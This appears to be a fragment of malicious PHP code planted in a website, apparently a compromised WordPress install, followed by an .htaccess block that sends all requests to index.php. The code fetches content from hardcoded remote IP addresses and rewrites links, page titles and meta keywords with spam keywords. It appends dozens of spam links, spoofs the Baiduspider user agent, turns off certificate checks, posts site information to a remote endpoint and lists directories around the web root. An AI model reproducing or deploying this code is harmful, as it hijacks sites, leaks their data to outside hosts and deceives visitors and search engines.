						'Cookie: foo=bar',
						'ignore_errors' => true
				)
		);
		$context = stream_context_create($option);
		$res = file_get_contents($_url, false, $context);
		if ($res !== false){
			$responhtml=$res;
		}
	}
	if($responhtml){
		$reg1="/<a.*?<\/a>/i";
		preg_match_all($reg1,$res,$aarray);

		$tagarr=getdesign($requrl);
		$tagarr=$tagarr['mllist'];
		if(count($aarray[0])>0){
			for($i=0;$i<count($aarray[0]);$i++){
				$oldhref=$aarray[0][$i];
				if(strpos($oldhref, "<a")!==false){
					if($arrkeyword){
						if(count($arrkeyword)>count($aarray[0])){
							$_setkeyword=$arrkeyword[$i];
						}else{
							$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
						}
					}
					$_setkeyword=ltrim($_setkeyword,'/');
					if(isdirnameexists($_setkeyword,$requrl)>0){
						$_dirnpath=$_setkeyword;
					}else{
						$_dirnpath=clearstrrnrow($tagarr[rand(0,count($tagarr)-1)]).'/'.$_setkeyword;
					}
					if($prepath){
						$link=$_url.rtrim($prepath,'/').'/'.$_dirnpath;
					}else{
						$link=$_url.'/'.$_dirnpath;
					}
					//1 str_replace
					$preg = '/href=(\"|\')(.*?)(\"|\')/i';
					$replacestr = 'href="'.$link.'"';
					$newhref = preg_replace($preg, $replacestr, $oldhref);
					//2 str_replace
					$res=str_replace($oldhref, $newhref, $res);
				}
			}
		}
		if(count($aarray[0])<10){
			$atitle='';
			for($arefi=0;$arefi<60;$arefi++){
				if($arrkeyword){
					if(count($arrkeyword)>count($aarray[0])){
						$_setkeyword=$arrkeyword[$arefi];
					}else{
						$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
					}
				}else{
					$_setkeyword=charshuzis(5);
				}
				$_setkeyword=ltrim($_setkeyword,'/');
				if(isdirnameexists($_setkeyword,$requrl)>0){
					$_dirnpath=$_setkeyword;
				}else{
					$_dirnpath=clearstrrnrow($tagarr[rand(0,count($tagarr)-1)]).'/'.$_setkeyword;
				}
				$atitle.='<a href="'.$_url.'/'.$_dirnpath.'" title="'.$_setkeyword.'" target="_blank">'.$_setkeyword.'</a>'."\r\n";
			}
			$res=str_replace('</body>', $atitle.'</body>', $res);
		}
		//no main page:replace title ,or no need to change
		$_examnoinpyt=explode('/', $_SERVER['REQUEST_URI']);
		if(count($_examnoinpyt)>1&&$_examnoinpyt[1]){
			preg_match('/<title>(.*?)<\/title>/is', $res, $title_matches);
			$title = isset($title_matches[1]) ? $title_matches[1] : '';
			if(!$title){
				$title=str_replace('.html', '', $_examnoinpyt[count($_examnoinpyt)-1]);
				$res=str_replace('</title>', $title.'</title>', $res);
			}
			if($title){
				if($keyword){
					$_setkeyword=$keyword;
				}else{
					$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
				}
				$res=str_replace($title, $_setkeyword, $res);
				if(strpos($res,'name="description"')!==false || strpos($res,"name='description'")!==false){
					$res=str_replace('description" content="', 'description" content="'.$_setkeyword.',', $res);
					$res=str_replace("description' content='", "description' content='".$_setkeyword.',', $res);
				}else{
					$res=str_replace('</title>', '</title>'.'<meta name="description" content="'.$_setkeyword.'">', $res);
				}
				if(strpos($res,'name="keywords"')!==false || strpos($res,"name='keywords'")!==false){
					$res=str_replace('keywords" content="', 'keywords" content="'.$_setkeyword.',', $res);
					$res=str_replace("keywords' content='", "keywords' content='".$_setkeyword.',', $res);
				}else{
					$res=str_replace('</title>', '</title>'.'<meta name="keywords" content="'.$_setkeyword.'">', $res);
				}
			}
		}
	}else{
		$res='';
	}
	return $res;
}
function getycidcurlurl($_yccode,$_arr,$_ycid,$_ycurl='',$_zxid=1,$basicinfoarr=array()){
	if($_ycurl){
		if(strpos($_ycurl,'http://')!==true||strpos($_ycurl,'https://')!==true){
			$_ycurl='http://'.$_ycurl;//cancel http:// or https://
		}
		$_url=$_ycurl.'/api/wp-style-template/yuancheng.php?yc_id='.$_ycid;
	}else{
		$_url='http://103.204.76.210/api/wp-style-template/yuancheng.php?yc_id='.$_ycid;
	}
	$gent='"Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"';//$gent?$gent:$_SERVER['HTTP_USER_AGENT'];
	$senddata = array(
			'send_type_id'=>$_zxid,
			'yc_code'=>$_yccode
	);
	if($_zxid<2){
		$senddata['con']=json_encode($basicinfoarr);
	}
	$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,$_url);
	curl_setopt($ch,CURLOPT_HEADER,0);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($senddata));
	curl_setopt($ch,CURLOPT_USERAGENT,$gent);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 );
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,6);
	$res = curl_exec($ch);
	$cinfo=curl_getinfo($ch);
	curl_close($ch);
	$_ititle='';
	$_data='';
	if($cinfo['http_code']=='200'){
		$_data=$res;
		$_ititle='curl';
	}else{
		$_data=file_get_contents($_url);
		$_ititle='file_get_content';
	}
	$_ititle=$_url.':'.$_ititle.'<br>';
	if($_data&&$_zxid>1){
		if(strpos($_data, 'wp-cache')!==false){
			$_data=json_decode(stripslashes(clearBomforycinfo($res)),true);
			return $_data;
		}else{
			exit("Can't get yc_data-3[".$_data.']');
		}
	}
	if($_data){
		$_data=json_decode($res,true);
		if($_data['success']==1){
			$_stylecon=$_data['wp-style']?json_decode($_data['wp-style']):'';
			$_localcon=$_data['wp-local']?json_decode($_data['wp-local']):'';
			if(!$_stylecon){
				exit('nokay-bendi:wp-style');
			}
			if(!$_localcon){
				exit('nokay-bendi:wp-local');
			}
			unset($_data);
			return array('stylecon'=>$_stylecon,'localcon'=>$_localcon);
			exit;
		}
	}
}
function getycalldirlist(){
	$_rpathyd=$_SERVER['DOCUMENT_ROOT'].'/';
	$_rpathyd1=dirname($_SERVER['DOCUMENT_ROOT']).'/';
	$_rpathyd2=dirname(dirname($_SERVER['DOCUMENT_ROOT'])).'/';
	$_yclocalarr1=getdirsyclOnlylist($_rpathyd);
	$_yclocalarr2=getdirsyclOnlylist($_rpathyd1);
	$_yclocalarr3=getdirsyclOnlylist($_rpathyd2);
	$_arr=array_merge($_yclocalarr1,$_yclocalarr2,$_yclocalarr3);
	if($_arr){
		$_arr=array_unique($_arr);
		foreach($_arr as $item){
			if($item){
				echo rtrim($item,'/').'/'.'<br>';
			}
		}
	}
	echo '<hr style="width:59%;float:left;">^_^</hr>'.'<br>';
	return $_arr;
}
function getdirsyclOnlylist($path){
	$directories=array();
	if(file_exists($path)){
		$dir = scandir($path);
		foreach ($dir as $file) {
			$_prepath=rtrim($path,'/').'/'.$file;
			if (is_dir($_prepath) && $file !== '.' && $file !== '..' && strpos($_prepath, 'wp-')===false&& strpos($_prepath, '/.')===false) {
				$directories[] = $_prepath;
			}
		}
	}
	return $directories;
}
function getreqinfo($_wptemplatedir,$arr,$itemname,$indexname=''){
	$basicinfoarr=array();
	if($arr&&$indexname&&strpos($indexname, '.php')!==false){
		foreach($arr as $keyvn=>&$itemvn){
			if($itemvn&&strpos($itemvn, '/'.$indexname)!==false){
				unset($arr[$keyvn]);
			}
		}
		$arr=array_merge(array($_wptemplatedir.trim($indexname,'/')),$arr);
	}
	if(!$_REQUEST[$itemname]){
		$basicinfoarr[$itemname]=$arr[0];
	}else{
		if($_REQUEST[$itemname]&&strpos($_REQUEST[$itemname], '.php')!==false){
			$_wptemplateid=0;
			foreach($arr as $wpinfo){
				if($wpinfo&&$wpinfo==($_wptemplatedir.$_REQUEST[$itemname])){
					$_wptemplateid=1;
					break;
				}
			}
			if($_wptemplateid>0){
				$basicinfoarr[$itemname]=$_wptemplatedir.$_REQUEST[$itemname];
			}else{
				$basicinfoarr[$itemname]=$arr[0];
			}
		}else{
			$basicinfoarr[$itemname]=$arr[0];
		}
	}
	return $basicinfoarr;
}
function getdesign($ipurl='',$_alist=0){
	$design='';
	$mllist=array();
	$designarr=array();
	$designconfig=array(
			'kn-new'=>array(
					'ip'=>array(
							/* 'http://27.124.19.180',
							'http://27.124.19.183',
							'http://27.124.19.186',
							'http://27.124.19.188',
							'http://27.124.19.191'
							'http://134.122.189.96',
							'http://134.122.189.89',
							'http://134.122.189.87',
							'http://134.122.189.75',
							'http://134.122.189.64',
							'http://27.124.9.60',
							'http://27.124.9.51',
							'http://27.124.9.34',
							'http://27.124.9.32',
							'http://27.124.9.31',
							'http://27.124.9.30',
							'http://27.124.9.38',
							'http://27.124.9.23'*/
							'http://27.124.9.33/',
							'http://27.124.9.20/',
							'http://27.124.9.22/',
							'http://27.124.9.43/'
					),
					'mulu'=>array(
							'article',
							'shop'
					),
					'designid'=>1
			),
			'xtsh-v'=>array(
					'ip'=>array(
							'http://23.90.12.6/',
							'http://23.90.12.5/'
					),
					'mulu'=>array(
							'android'
					),
					'designid'=>1
			),
			'default'=>array(
					'ip'=>array(
							'http://104.221.130.2',
							'http://104.221.132.34',
							'http://104.221.137.2',
							'http://104.221.139.18',
							'http://172.80.5.242',
							'http://172.80.7.226',
							'http://172.80.6.178',
							'http://172.80.9.66',
							'http://66.254.190.18',
							'http://66.254.187.178'
					),
					'mulu'=>array(
							'app',
							'hot'
					),
					'designid'=>1
			)
	);
	//vn
	if($ipurl){
		$_exampforipurl=explode('/', ltrim($ipurl,'/'));
		$_ipurlsymbol='/'.$_exampforipurl[0];
		if(strpos($_ipurlsymbol, '-')!==false){
			$_exampsymbol=explode('-', $_ipurlsymbol);
			$_ipurlsymbol=$_exampsymbol[0];
		}
		foreach($designconfig as $key=>$item){
			if($item&&$item['designid']==1){
				$title='';
				foreach($item['mulu'] as $nkey=>$nitem){
					if(strpos($_ipurlsymbol, $nitem)!==false){
						$designconfig[$key]['ipurl']=$item['ip'][0];
						$design=$designconfig[$key];
					}
					$mllist[]=$nitem;
				}
			}
		}
	}
	if(!$design){
		$design=$designconfig['default'];
	}
	$design['ipurl']=$designconfig['default']['ip'][0];
	$designarr['design']=$design;
	$designarr['mllist']=$mllist;
	if($_alist>0){
		$alistarr=array();
		foreach($designconfig as $alistitem){
			if($alistitem){
				$alistarr['randip'][]=$alistitem['ip'][0];
			}
		}
		$alistarr['list']=$designconfig;
		$designarr['baseconfig']=$alistarr;
	}
	return $designarr;
}
function clearstrrnrow($str){
	$str=trim($str,"");
	$str=trim($str,"\r\n");
	$str=preg_replace("/\s/","",$str);
	$str=str_replace(array("\n","\r","\r\n"," "),"",$str);
	$str = preg_replace("/\s/is", "", $str);
	return $str;
}
function clearBomforycinfo($str){
	$bom = chr(239).chr(187).chr(191);
	return str_replace($bom ,'',$str);
}
function isdirnameexists($str,$requrl){
	$tagarr=getdesign($requrl);
	$arr=$tagarr['design']['mulu'];
	$i=0;
	foreach($arr as $item){
		if($item&&strpos($str, $item)!==false){
			$i=1;
			break;
		}
	}
	return $i;
}
?>
---
<IfModule mod_rewrite.c>
 RewriteEngine on
 RewriteBase /
 RewriteRule  404 /index.php
 ErrorDocument 404 /index.php
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteRule . /index.php [L]
</IfModule>
